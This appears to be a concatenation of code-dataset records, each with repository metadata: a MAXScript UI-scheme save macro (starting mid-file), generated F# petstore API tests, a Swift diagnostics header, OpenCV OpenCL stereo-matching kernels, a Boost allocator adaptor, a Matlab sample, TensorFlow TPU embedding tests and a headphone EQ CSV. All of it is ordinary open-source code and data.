local UIScheme_Icon_Setup, SaveSchemeName, UIScheme_IconRoll
button go "OK" pos:[8,192] width:64 height:24 --LOC_Notes: localize this
button BtnCancel "Cancel" pos:[168,192] width:64 height:24 --LOC_Notes: localize this
checkbox ChkCUI "Interface Layout (.cui)" pos:[24,24] width:128 height:16 checked:true --LOC_Notes: localize this
button AllOptions "All" pos:[176,24] width:56 height:16 --LOC_Notes: localize this
button BtnNone "None" pos:[176,48] width:56 height:16 --LOC_Notes: localize this
checkbox ChkKBD "Keyboard Shortcuts (.kbd)" pos:[24,48] width:144 height:16 checked:true --LOC_Notes: localize this
checkbox ChkMNU "Menus (.mnu)" pos:[24,72] width:144 height:16 checked:true --LOC_Notes: localize this
checkbox ChkQOP "Quad Options (.qop)" pos:[24,96] width:144 height:16 checked:true --LOC_Notes: localize this
checkbox ChkCLR "Colors (.clr)" pos:[24,120] width:144 height:16 checked:true --LOC_Notes: localize this
radioButtons RadioIcon "" pos:[112,144] width:119 height:32 labels:#("Classic", "2D Black and White") columns:1 --LOC_Notes: localize this
label lbl3 "Icon Type:" pos:[32,152] width:56 height:16 --LOC_Notes: localize this
on go pressed do
(
SaveSchemeName = GetFileNameFile UIScheme_Filename
SaveSchemePath = GetFileNamePath UIScheme_Filename
if ChkMNU.state == true do MenuMan.saveMenuFile (SaveSchemePath + SaveSchemeName +".mnu")
if ChkCLR.state == true do ColorMan.saveColorFIle (SaveSchemePath + SaveSchemeName +".clr" )
if ChkKBD.state == true do ActionMan.saveKeyboardFile (SaveSchemePath + SaveSchemeName +".kbd" )
if ChkCUI.state == true do Cui.saveConfigAs (SaveSchemePath + SaveSchemeName +".cui")
----------------------------------------------------------------------------
-- Save CUI file as startup so your changes are loaded when restarting MAX
----------------------------------------------------------------------------
if ChkCUI.state == true do cui.saveConfigAs ("MaxStartUI.cui") --LOC_Notes: do not localize this
----------------------------------------------------------------------------
-- Saves Quad Colors into a MAXScript file in your UI directory with .qop extention
----------------------------------------------------------------------------
if ChkQOP.state == true do SaveQuadClr SaveSchemePath SaveSchemeName ".qop" (UIScheme_Filename + " Scheme") --LOC_Notes: do not localize this
----------------------------------------------------------------------------
-- Save a dat file that points to the right icon directory
----------------------------------------------------------------------------
local strUIFilePath = (SaveSchemePath + SaveSchemeName + ".ui")
local fAttrib = false
if doesFileExist (strUIFilePath) do fAttrib = getFileAttribute strUIFilePath #readonly
if RadioIcon.state == 1 do
(
if fAttrib == false
then
(
UIScheme_Icon_Setup = CreateFile (strUIFilePath)
Format "Icons" to:UIScheme_Icon_Setup --LOC_Notes: do not localize this
Close UIScheme_Icon_Setup
)
else
(
local str = "Error saving " + strUIFilePath + "\n (The file may be read only.)\n\n UI Scheme Icons Folder Not Saved." --LOC_NOTES: localize this
messagebox str title:"Error" --LOC_NOTES: localize this
)-- end if UIScheme_Icon_Setup != undefined
)
if RadioIcon.state == 2 do
(
if fAttrib == false
then
(
UIScheme_Icon_Setup = CreateFile (strUIFilePath)
Format "discreet" to:UIScheme_Icon_Setup --LOC_Notes: do not localize this
Close UIScheme_Icon_Setup
)
else
(
local str = "Error saving " + strUIFilePath + "\n (The file may be read only.)\n\n UI Scheme Icons Folder Not Saved." --LOC_NOTES: localize this
messagebox str title:"Error" --LOC_NOTES: localize this
)
)
DestroyDialog SaveDialog
)--end on go pressed
on BtnCancel pressed do DestroyDialog SaveDialog
on AllOptions pressed do
(
chkCUI.checked = true
chkKBD.checked = true
chkMNU.checked = true
chkQOP.checked = true
chkCLR.checked = true
)--end on AllOptions pressed
on BtnNone pressed do
(
chkCUI.checked = false
chkKBD.checked = false
chkMNU.checked = false
chkQOP.checked = false
chkCLR.checked = false
)--end on BtnNone pressed
)--end rollout
)--If UIScheme_Filename != undefined
CreateDialog SaveDialog
)--end on execute
)--end macro save scheme | MAXScript | 5 | 89096000/MaxScript | 3D/3ds2ae/02_resources/max scripts/3ds ax scripts/Macro_UIScheme.mcr | [
"MIT"
] |
namespace OpenAPI.Tests
open System
open System.Net
open System.Net.Http
open System.IO
open Microsoft.AspNetCore.Builder
open Microsoft.AspNetCore.Hosting
open Microsoft.AspNetCore.TestHost
open Microsoft.Extensions.DependencyInjection
open FSharp.Control.Tasks.V2.ContextInsensitive
open Xunit
open System.Text
open Newtonsoft
open TestHelper
open StoreApiHandlerTestsHelper
open OpenAPI.StoreApiHandler
open OpenAPI.StoreApiHandlerParams
open System.Collections.Generic
open OpenAPI.Model.Order
module StoreApiHandlerTests =
// ---------------------------------
// Tests
// ---------------------------------
[<Fact>]
let ``DeleteOrder - Delete purchase order by ID returns 400 where Invalid ID supplied`` () =
task {
use server = new TestServer(createHost())
use client = server.CreateClient()
// add your setup code here
let path = "/v2/store/order/{orderId}".Replace("orderId", "ADDME")
HttpDelete client path
|> isStatus (enum<HttpStatusCode>(400))
|> readText
|> shouldEqual "TESTME"
|> ignore
}
[<Fact>]
let ``DeleteOrder - Delete purchase order by ID returns 404 where Order not found`` () =
task {
use server = new TestServer(createHost())
use client = server.CreateClient()
// add your setup code here
let path = "/v2/store/order/{orderId}".Replace("orderId", "ADDME")
HttpDelete client path
|> isStatus (enum<HttpStatusCode>(404))
|> readText
|> shouldEqual "TESTME"
|> ignore
}
[<Fact>]
let ``GetInventory - Returns pet inventories by status returns 200 where successful operation`` () =
task {
use server = new TestServer(createHost())
use client = server.CreateClient()
// add your setup code here
let path = "/v2/store/inventory"
HttpGet client path
|> isStatus (enum<HttpStatusCode>(200))
|> readText
|> shouldEqual "TESTME"
|> ignore
}
[<Fact>]
let ``GetOrderById - Find purchase order by ID returns 200 where successful operation`` () =
task {
use server = new TestServer(createHost())
use client = server.CreateClient()
// add your setup code here
let path = "/v2/store/order/{orderId}".Replace("orderId", "ADDME")
HttpGet client path
|> isStatus (enum<HttpStatusCode>(200))
|> readText
|> shouldEqual "TESTME"
|> ignore
}
[<Fact>]
let ``GetOrderById - Find purchase order by ID returns 400 where Invalid ID supplied`` () =
task {
use server = new TestServer(createHost())
use client = server.CreateClient()
// add your setup code here
let path = "/v2/store/order/{orderId}".Replace("orderId", "ADDME")
HttpGet client path
|> isStatus (enum<HttpStatusCode>(400))
|> readText
|> shouldEqual "TESTME"
|> ignore
}
[<Fact>]
let ``GetOrderById - Find purchase order by ID returns 404 where Order not found`` () =
task {
use server = new TestServer(createHost())
use client = server.CreateClient()
// add your setup code here
let path = "/v2/store/order/{orderId}".Replace("orderId", "ADDME")
HttpGet client path
|> isStatus (enum<HttpStatusCode>(404))
|> readText
|> shouldEqual "TESTME"
|> ignore
}
[<Fact>]
let ``PlaceOrder - Place an order for a pet returns 200 where successful operation`` () =
task {
use server = new TestServer(createHost())
use client = server.CreateClient()
// add your setup code here
let path = "/v2/store/order"
// use an example requestBody provided by the spec
let examples = Map.empty.Add("application/json", getPlaceOrderExample "application/json")
// or pass a body of type Order
let body = obj() :?> Order |> Newtonsoft.Json.JsonConvert.SerializeObject |> Encoding.UTF8.GetBytes |> MemoryStream |> StreamContent
body
|> HttpPost client path
|> isStatus (enum<HttpStatusCode>(200))
|> readText
|> shouldEqual "TESTME"
}
[<Fact>]
let ``PlaceOrder - Place an order for a pet returns 400 where Invalid Order`` () =
task {
use server = new TestServer(createHost())
use client = server.CreateClient()
// add your setup code here
let path = "/v2/store/order"
// use an example requestBody provided by the spec
let examples = Map.empty.Add("application/json", getPlaceOrderExample "application/json")
// or pass a body of type Order
let body = obj() :?> Order |> Newtonsoft.Json.JsonConvert.SerializeObject |> Encoding.UTF8.GetBytes |> MemoryStream |> StreamContent
body
|> HttpPost client path
|> isStatus (enum<HttpStatusCode>(400))
|> readText
|> shouldEqual "TESTME"
}
| F# | 4 | MalcolmScoffable/openapi-generator | samples/server/petstore/fsharp-giraffe/OpenAPI.Tests/StoreApiTests.fs | [
"Apache-2.0"
] |
//===--- PrintingDiagnosticConsumer.h - Print Text Diagnostics --*- C++ -*-===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2020 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// This file defines the PrintingDiagnosticConsumer class, which displays
// diagnostics as text to a terminal.
//
//===----------------------------------------------------------------------===//
#ifndef SWIFT_PRINTINGDIAGNOSTICCONSUMER_H
#define SWIFT_PRINTINGDIAGNOSTICCONSUMER_H
#include "swift/AST/DiagnosticConsumer.h"
#include "swift/Basic/DiagnosticOptions.h"
#include "swift/Basic/LLVM.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/Process.h"
namespace swift {
class AnnotatedSourceSnippet;
/// Diagnostic consumer that displays diagnostics to standard error.
class PrintingDiagnosticConsumer : public DiagnosticConsumer {
llvm::raw_ostream &Stream;
bool ForceColors = false;
bool PrintEducationalNotes = false;
bool DidErrorOccur = false;
DiagnosticOptions::FormattingStyle FormattingStyle =
DiagnosticOptions::FormattingStyle::LLVM;
// The current snippet used to display an error/warning/remark and the notes
// implicitly associated with it. Uses `std::unique_ptr` so that
// `AnnotatedSourceSnippet` can be forward declared.
std::unique_ptr<AnnotatedSourceSnippet> currentSnippet;
// Educational notes which are buffered until the consumer is finished
// constructing a snippet.
SmallVector<std::string, 1> BufferedEducationalNotes;
bool SuppressOutput = false;
public:
PrintingDiagnosticConsumer(llvm::raw_ostream &stream = llvm::errs());
~PrintingDiagnosticConsumer();
virtual void handleDiagnostic(SourceManager &SM,
const DiagnosticInfo &Info) override;
virtual bool finishProcessing() override;
void flush(bool includeTrailingBreak);
virtual void flush() override { flush(false); }
void forceColors() {
ForceColors = true;
llvm::sys::Process::UseANSIEscapeCodes(true);
}
void setPrintEducationalNotes(bool ShouldPrint) {
PrintEducationalNotes = ShouldPrint;
}
void setFormattingStyle(DiagnosticOptions::FormattingStyle style) {
FormattingStyle = style;
}
bool didErrorOccur() {
return DidErrorOccur;
}
void setSuppressOutput(bool suppressOutput) {
SuppressOutput = suppressOutput;
}
private:
void printDiagnostic(SourceManager &SM, const DiagnosticInfo &Info);
};
}
#endif
| C | 4 | gandhi56/swift | include/swift/Frontend/PrintingDiagnosticConsumer.h | [
"Apache-2.0"
] |
/*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2010-2012, Institute Of Software Chinese Academy Of Science, all rights reserved.
// Copyright (C) 2010-2012, Advanced Micro Devices, Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors as is and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
//////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////// stereoBM //////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////
#define MAX_VAL 32767
#ifndef WSZ
#define WSZ 2
#endif
#define WSZ2 (WSZ / 2)
#ifdef DEFINE_KERNEL_STEREOBM
#define DISPARITY_SHIFT 4
#define FILTERED ((MIN_DISP - 1) << DISPARITY_SHIFT)
void calcDisp(__local short * cost, __global short * disp, int uniquenessRatio,
__local int * bestDisp, __local int * bestCost, int d, int x, int y, int cols, int rows)
{
int best_disp = *bestDisp, best_cost = *bestCost;
barrier(CLK_LOCAL_MEM_FENCE);
short c = cost[0];
int thresh = best_cost + (best_cost * uniquenessRatio / 100);
bool notUniq = ( (c <= thresh) && (d < (best_disp - 1) || d > (best_disp + 1) ) );
if (notUniq)
*bestCost = FILTERED;
barrier(CLK_LOCAL_MEM_FENCE);
if( *bestCost != FILTERED && x < cols - WSZ2 - MIN_DISP && y < rows - WSZ2 && d == best_disp)
{
int d_aprox = 0;
int yp =0, yn = 0;
if ((0 < best_disp) && (best_disp < NUM_DISP - 1))
{
yp = cost[-2 * BLOCK_SIZE_Y];
yn = cost[2 * BLOCK_SIZE_Y];
d_aprox = yp + yn - 2 * c + abs(yp - yn);
}
disp[0] = (short)(((best_disp + MIN_DISP)*256 + (d_aprox != 0 ? (yp - yn) * 256 / d_aprox : 0) + 15) >> 4);
}
}
short calcCostBorder(__global const uchar * leftptr, __global const uchar * rightptr, int x, int y, int nthread,
short * costbuf, int *h, int cols, int d, short cost)
{
int head = (*h) % WSZ;
__global const uchar * left, * right;
int idx = mad24(y + WSZ2 * (2 * nthread - 1), cols, x + WSZ2 * (1 - 2 * nthread));
left = leftptr + idx;
right = rightptr + (idx - d);
short costdiff = 0;
if (0 == nthread)
{
#pragma unroll
for (int i = 0; i < WSZ; i++)
{
costdiff += abs( left[0] - right[0] );
left += cols;
right += cols;
}
}
else // (1 == nthread)
{
#pragma unroll
for (int i = 0; i < WSZ; i++)
{
costdiff += abs(left[i] - right[i]);
}
}
cost += costdiff - costbuf[head];
costbuf[head] = costdiff;
*h = head + 1;
return cost;
}
short calcCostInside(__global const uchar * leftptr, __global const uchar * rightptr, int x, int y,
int cols, int d, short cost_up_left, short cost_up, short cost_left)
{
__global const uchar * left, * right;
int idx = mad24(y - WSZ2 - 1, cols, x - WSZ2 - 1);
left = leftptr + idx;
right = rightptr + (idx - d);
int idx2 = WSZ*cols;
uchar corrner1 = abs(left[0] - right[0]),
corrner2 = abs(left[WSZ] - right[WSZ]),
corrner3 = abs(left[idx2] - right[idx2]),
corrner4 = abs(left[idx2 + WSZ] - right[idx2 + WSZ]);
return cost_up + cost_left - cost_up_left + corrner1 -
corrner2 - corrner3 + corrner4;
}
__kernel void stereoBM(__global const uchar * leftptr,
__global const uchar * rightptr,
__global uchar * dispptr, int disp_step, int disp_offset,
int rows, int cols, // rows, cols of left and right images, not disp
int textureThreshold, int uniquenessRatio)
{
int lz = get_local_id(0);
int gx = get_global_id(1) * BLOCK_SIZE_X;
int gy = get_global_id(2) * BLOCK_SIZE_Y;
int nthread = lz / NUM_DISP;
int disp_idx = lz % NUM_DISP;
__global short * disp;
__global const uchar * left, * right;
__local short costFunc[2 * BLOCK_SIZE_Y * NUM_DISP];
__local short * cost;
__local int best_disp[2];
__local int best_cost[2];
best_cost[nthread] = MAX_VAL;
best_disp[nthread] = -1;
barrier(CLK_LOCAL_MEM_FENCE);
short costbuf[WSZ];
int head = 0;
int shiftX = WSZ2 + NUM_DISP + MIN_DISP - 1;
int shiftY = WSZ2;
int x = gx + shiftX, y = gy + shiftY, lx = 0, ly = 0;
int costIdx = disp_idx * 2 * BLOCK_SIZE_Y + (BLOCK_SIZE_Y - 1);
cost = costFunc + costIdx;
int tempcost = 0;
if (x < cols - WSZ2 - MIN_DISP && y < rows - WSZ2)
{
if (0 == nthread)
{
#pragma unroll
for (int i = 0; i < WSZ; i++)
{
int idx = mad24(y - WSZ2, cols, x - WSZ2 + i);
left = leftptr + idx;
right = rightptr + (idx - disp_idx);
short costdiff = 0;
for(int j = 0; j < WSZ; j++)
{
costdiff += abs( left[0] - right[0] );
left += cols;
right += cols;
}
costbuf[i] = costdiff;
}
}
else // (1 == nthread)
{
#pragma unroll
for (int i = 0; i < WSZ; i++)
{
int idx = mad24(y - WSZ2 + i, cols, x - WSZ2);
left = leftptr + idx;
right = rightptr + (idx - disp_idx);
short costdiff = 0;
for (int j = 0; j < WSZ; j++)
{
costdiff += abs( left[j] - right[j]);
}
tempcost += costdiff;
costbuf[i] = costdiff;
}
}
}
if (nthread == 1)
{
cost[0] = tempcost;
atomic_min(best_cost + 1, tempcost);
}
barrier(CLK_LOCAL_MEM_FENCE);
if (best_cost[1] == tempcost)
atomic_max(best_disp + 1, disp_idx);
barrier(CLK_LOCAL_MEM_FENCE);
int dispIdx = mad24(gy, disp_step, mad24((int)sizeof(short), gx, disp_offset));
disp = (__global short *)(dispptr + dispIdx);
calcDisp(cost, disp, uniquenessRatio, best_disp + 1, best_cost + 1, disp_idx, x, y, cols, rows);
barrier(CLK_LOCAL_MEM_FENCE);
lx = 1 - nthread;
ly = nthread;
for (int i = 0; i < BLOCK_SIZE_Y * BLOCK_SIZE_X / 2; i++)
{
x = (lx < BLOCK_SIZE_X) ? gx + shiftX + lx : cols;
y = (ly < BLOCK_SIZE_Y) ? gy + shiftY + ly : rows;
best_cost[nthread] = MAX_VAL;
best_disp[nthread] = -1;
barrier(CLK_LOCAL_MEM_FENCE);
costIdx = mad24(2 * BLOCK_SIZE_Y, disp_idx, (BLOCK_SIZE_Y - 1 - ly + lx));
if (0 > costIdx)
costIdx = BLOCK_SIZE_Y - 1;
cost = costFunc + costIdx;
if (x < cols - WSZ2 - MIN_DISP && y < rows - WSZ2)
{
tempcost = (ly * (1 - nthread) + lx * nthread == 0) ?
calcCostBorder(leftptr, rightptr, x, y, nthread, costbuf, &head, cols, disp_idx, cost[2*nthread-1]) :
calcCostInside(leftptr, rightptr, x, y, cols, disp_idx, cost[0], cost[1], cost[-1]);
}
cost[0] = tempcost;
atomic_min(best_cost + nthread, tempcost);
barrier(CLK_LOCAL_MEM_FENCE);
if (best_cost[nthread] == tempcost)
atomic_max(best_disp + nthread, disp_idx);
barrier(CLK_LOCAL_MEM_FENCE);
dispIdx = mad24(gy + ly, disp_step, mad24((int)sizeof(short), (gx + lx), disp_offset));
disp = (__global short *)(dispptr + dispIdx);
calcDisp(cost, disp, uniquenessRatio, best_disp + nthread, best_cost + nthread, disp_idx, x, y, cols, rows);
barrier(CLK_LOCAL_MEM_FENCE);
if (lx + nthread - 1 == ly)
{
lx = (lx + nthread + 1) * (1 - nthread);
ly = (ly + 1) * nthread;
}
else
{
lx += nthread;
ly = ly - nthread + 1;
}
}
}
#endif //DEFINE_KERNEL_STEREOBM
//////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////// Norm Prefiler ////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////
__kernel void prefilter_norm(__global unsigned char *input, __global unsigned char *output,
int rows, int cols, int prefilterCap, int scale_g, int scale_s)
{
// prefilterCap in range 1..63, checked in StereoBMImpl::compute
int x = get_global_id(0);
int y = get_global_id(1);
if(x < cols && y < rows)
{
int cov1 = input[ max(y-1, 0) * cols + x] * 1 +
input[y * cols + max(x-1,0)] * 1 + input[ y * cols + x] * 4 + input[y * cols + min(x+1, cols-1)] * 1 +
input[min(y+1, rows-1) * cols + x] * 1;
int cov2 = 0;
for(int i = -WSZ2; i < WSZ2+1; i++)
for(int j = -WSZ2; j < WSZ2+1; j++)
cov2 += input[clamp(y+i, 0, rows-1) * cols + clamp(x+j, 0, cols-1)];
int res = (cov1*scale_g - cov2*scale_s)>>10;
res = clamp(res, -prefilterCap, prefilterCap) + prefilterCap;
output[y * cols + x] = res;
}
}
//////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////// Sobel Prefiler ////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////
__kernel void prefilter_xsobel(__global unsigned char *input, __global unsigned char *output,
int rows, int cols, int prefilterCap)
{
// prefilterCap in range 1..63, checked in StereoBMImpl::compute
int x = get_global_id(0);
int y = get_global_id(1);
if(x < cols && y < rows)
{
if (0 < x && !((y == rows-1) & (rows%2==1) ) )
{
int cov = input[ ((y > 0) ? y-1 : y+1) * cols + (x-1)] * (-1) + input[ ((y > 0) ? y-1 : y+1) * cols + ((x<cols-1) ? x+1 : x-1)] * (1) +
input[ (y) * cols + (x-1)] * (-2) + input[ (y) * cols + ((x<cols-1) ? x+1 : x-1)] * (2) +
input[((y<rows-1)?(y+1):(y-1))* cols + (x-1)] * (-1) + input[((y<rows-1)?(y+1):(y-1))* cols + ((x<cols-1) ? x+1 : x-1)] * (1);
cov = clamp(cov, -prefilterCap, prefilterCap) + prefilterCap;
output[y * cols + x] = cov;
}
else
output[y * cols + x] = prefilterCap;
}
} | OpenCL | 4 | thisisgopalmandal/opencv | modules/calib3d/src/opencl/stereobm.cl | [
"BSD-3-Clause"
] |
/*
Copyright 2019 Glen Joseph Fernandes
([email protected])
Distributed under the Boost Software License, Version 1.0.
(http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef BOOST_CORE_NOINIT_ADAPTOR_HPP
#define BOOST_CORE_NOINIT_ADAPTOR_HPP
#include <boost/config.hpp>
#if !defined(BOOST_NO_CXX11_ALLOCATOR)
#include <memory>
#endif
#include <new>
#if !defined(BOOST_NO_CXX11_RVALUE_REFERENCES)
#include <utility>
#endif
namespace boost {
template<class A>
struct noinit_adaptor
: A {
template<class U>
struct rebind {
#if !defined(BOOST_NO_CXX11_ALLOCATOR)
typedef noinit_adaptor<typename std::allocator_traits<A>::template
rebind_alloc<U> > other;
#else
typedef noinit_adaptor<typename A::template rebind<U>::other> other;
#endif
};
noinit_adaptor()
: A() { }
#if !defined(BOOST_NO_CXX11_RVALUE_REFERENCES)
template<class U>
noinit_adaptor(U&& u) BOOST_NOEXCEPT
: A(std::forward<U>(u)) { }
#else
template<class U>
noinit_adaptor(const U& u) BOOST_NOEXCEPT
: A(u) { }
#endif
template<class U>
noinit_adaptor(const noinit_adaptor<U>& u) BOOST_NOEXCEPT
: A(static_cast<const U&>(u)) { }
template<class U>
void construct(U* p) {
::new((void*)p) U;
}
#if !defined(BOOST_NO_CXX11_RVALUE_REFERENCES)
#if !defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES)
template<class U, class V, class... Args>
void construct(U* p, V&& v, Args&&... args) {
::new((void*)p) U(std::forward<V>(v), std::forward<Args>(args)...);
}
#else
template<class U, class V>
void construct(U* p, V&& v) {
::new((void*)p) U(std::forward<V>(v));
}
#endif
#else
template<class U, class V>
void construct(U* p, const V& v) {
::new((void*)p) U(v);
}
template<class U, class V>
void construct(U* p, V& v) {
::new((void*)p) U(v);
}
#endif
template<class U>
void destroy(U* p) {
p->~U();
}
};
template<class T, class U>
inline bool
operator==(const noinit_adaptor<T>& lhs,
const noinit_adaptor<U>& rhs) BOOST_NOEXCEPT
{
return static_cast<const T&>(lhs) == static_cast<const U&>(rhs);
}
template<class T, class U>
inline bool
operator!=(const noinit_adaptor<T>& lhs,
const noinit_adaptor<U>& rhs) BOOST_NOEXCEPT
{
return !(lhs == rhs);
}
template<class A>
inline noinit_adaptor<A>
noinit_adapt(const A& a) BOOST_NOEXCEPT
{
return noinit_adaptor<A>(a);
}
} /* boost */
#endif
| C++ | 4 | fmilano/CppMicroServices | third_party/boost/include/boost/core/noinit_adaptor.hpp | [
"Apache-2.0"
] |
A = [1, 1, 0, 0];
B = [1; 2; 3; 4];
C = B * A
| Matlab | 3 | aeroshev/CMP | tests/matlab_samples/sample_6.matlab | [
"MIT"
] |
# Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for TPU Embeddings mid level API utils on TPU."""
from absl.testing import parameterized
from tensorflow.core.protobuf.tpu import tpu_embedding_configuration_pb2
from tensorflow.python.compat import v2_compat
from tensorflow.python.platform import test
from tensorflow.python.tpu import tpu_embedding_v2_utils
class TPUEmbeddingOptimizerTest(parameterized.TestCase, test.TestCase):
@parameterized.parameters(tpu_embedding_v2_utils.Adagrad,
tpu_embedding_v2_utils.Adam,
tpu_embedding_v2_utils.FTRL)
def test_grad_clip_with_accumulation_off(self, optimizer):
with self.assertRaisesRegex(ValueError, 'accumulation'):
optimizer(use_gradient_accumulation=False, clipvalue=0.)
with self.assertRaisesRegex(ValueError, 'accumulation'):
optimizer(use_gradient_accumulation=False, clipvalue=(None, 1.))
@parameterized.parameters(tpu_embedding_v2_utils.SGD,
tpu_embedding_v2_utils.Adagrad,
tpu_embedding_v2_utils.Adam,
tpu_embedding_v2_utils.FTRL)
def test_grad_clip_with_tuple(self, optimizer):
opt = optimizer(clipvalue=(-1., 1.))
self.assertEqual(-1., opt.clip_gradient_min)
self.assertEqual(1., opt.clip_gradient_max)
@parameterized.parameters(tpu_embedding_v2_utils.SGD,
tpu_embedding_v2_utils.Adagrad,
tpu_embedding_v2_utils.Adam,
tpu_embedding_v2_utils.FTRL)
def test_grad_clip_with_single_value(self, optimizer):
opt = optimizer(clipvalue=1.)
self.assertEqual(-1., opt.clip_gradient_min)
self.assertEqual(1., opt.clip_gradient_max)
@parameterized.parameters(tpu_embedding_v2_utils.SGD,
tpu_embedding_v2_utils.Adagrad,
tpu_embedding_v2_utils.Adam,
tpu_embedding_v2_utils.FTRL)
def test_grad_clip_with_tuple_and_none(self, optimizer):
opt = optimizer(clipvalue=(None, 1))
self.assertIsNone(opt.clip_gradient_min)
self.assertEqual(1., opt.clip_gradient_max)
class ConfigTest(test.TestCase):
def test_table_config_repr(self):
table = tpu_embedding_v2_utils.TableConfig(
vocabulary_size=2, dim=4,
combiner='sum', name='table')
self.assertEqual(
repr(table),
'TableConfig(vocabulary_size=2, dim=4, initializer=None, '
'optimizer=None, combiner=\'sum\', name=\'table\')')
def test_feature_config_repr(self):
table = tpu_embedding_v2_utils.TableConfig(
vocabulary_size=2, dim=4, initializer=None,
combiner='sum', name='table')
feature_config = tpu_embedding_v2_utils.FeatureConfig(
table=table, name='feature')
self.assertEqual(
repr(feature_config),
'FeatureConfig(table=TableConfig(vocabulary_size=2, dim=4, '
'initializer=None, optimizer=None, combiner=\'sum\', name=\'table\'), '
'max_sequence_length=0, validate_weights_and_indices=True, '
'name=\'feature\')')
class TPUEmbeddingConfigurationTest(test.TestCase):
def test_no_truncate(self):
truncate_length = 14937 # Experimentally maximum string length loggable.
config = tpu_embedding_configuration_pb2.TPUEmbeddingConfiguration()
for i in range(500):
td = config.table_descriptor.add()
td.name = 'table_{}'.format(i)
td.vocabulary_size = i
config.num_hosts = 2
config.num_tensor_cores = 4
config.batch_size_per_tensor_core = 128
self.assertGreater(
len(str(config)), truncate_length,
'Test sanity check: generated config should be of truncating length.')
with self.assertLogs() as logs:
tpu_embedding_v2_utils.log_tpu_embedding_configuration(config)
self.assertIn('table_499', ''.join(logs.output))
for line in logs.output:
self.assertLess(
len(line), truncate_length,
'Logging function lines should not be of truncating length.')
if __name__ == '__main__':
v2_compat.enable_v2_behavior()
test.main()
| Python | 4 | EricRemmerswaal/tensorflow | tensorflow/python/tpu/tpu_embedding_v2_utils_test.py | [
"Apache-2.0"
] |
frequency,raw,error,smoothed,error_smoothed,equalization,parametric_eq,fixed_band_eq,equalized_raw,equalized_smoothed,target
20.00,-15.05,-13.92,-15.05,-13.92,6.00,5.58,2.83,-9.05,-9.05,-1.13
20.20,-14.90,-13.86,-14.90,-13.86,6.00,5.61,2.91,-8.90,-8.90,-1.04
20.40,-14.75,-13.79,-14.75,-13.79,6.00,5.64,3.00,-8.75,-8.75,-0.96
20.61,-14.61,-13.71,-14.60,-13.72,6.00,5.67,3.09,-8.61,-8.60,-0.89
20.81,-14.45,-13.65,-14.45,-13.65,6.00,5.70,3.18,-8.45,-8.45,-0.80
21.02,-14.30,-13.58,-14.30,-13.58,6.00,5.73,3.27,-8.30,-8.30,-0.72
21.23,-14.15,-13.49,-14.15,-13.49,6.00,5.76,3.37,-8.15,-8.15,-0.66
21.44,-14.00,-13.40,-14.00,-13.40,6.00,5.79,3.46,-8.00,-8.00,-0.60
21.66,-13.86,-13.30,-13.85,-13.30,6.00,5.82,3.57,-7.86,-7.85,-0.55
21.87,-13.70,-13.20,-13.70,-13.20,6.00,5.85,3.67,-7.70,-7.70,-0.50
22.09,-13.55,-13.10,-13.55,-13.10,6.00,5.87,3.78,-7.55,-7.55,-0.45
22.31,-13.39,-12.99,-13.40,-12.99,6.00,5.90,3.89,-7.39,-7.40,-0.40
22.54,-13.25,-12.88,-13.24,-12.88,6.00,5.92,4.00,-7.25,-7.24,-0.36
22.76,-13.09,-12.77,-13.09,-12.77,6.00,5.95,4.12,-7.09,-7.09,-0.32
22.99,-12.94,-12.65,-12.94,-12.65,6.00,5.97,4.24,-6.94,-6.94,-0.29
23.22,-12.79,-12.54,-12.79,-12.54,6.00,6.00,4.36,-6.79,-6.79,-0.26
23.45,-12.64,-12.43,-12.64,-12.43,6.00,6.02,4.48,-6.64,-6.64,-0.22
23.69,-12.50,-12.32,-12.49,-12.32,6.00,6.04,4.61,-6.50,-6.49,-0.18
23.92,-12.34,-12.21,-12.34,-12.21,6.00,6.06,4.74,-6.34,-6.34,-0.14
24.16,-12.19,-12.11,-12.19,-12.10,6.00,6.08,4.87,-6.19,-6.19,-0.09
24.40,-12.04,-11.98,-12.04,-11.98,6.00,6.10,5.01,-6.04,-6.04,-0.06
24.65,-11.90,-11.87,-11.89,-11.86,6.00,6.12,5.15,-5.90,-5.89,-0.03
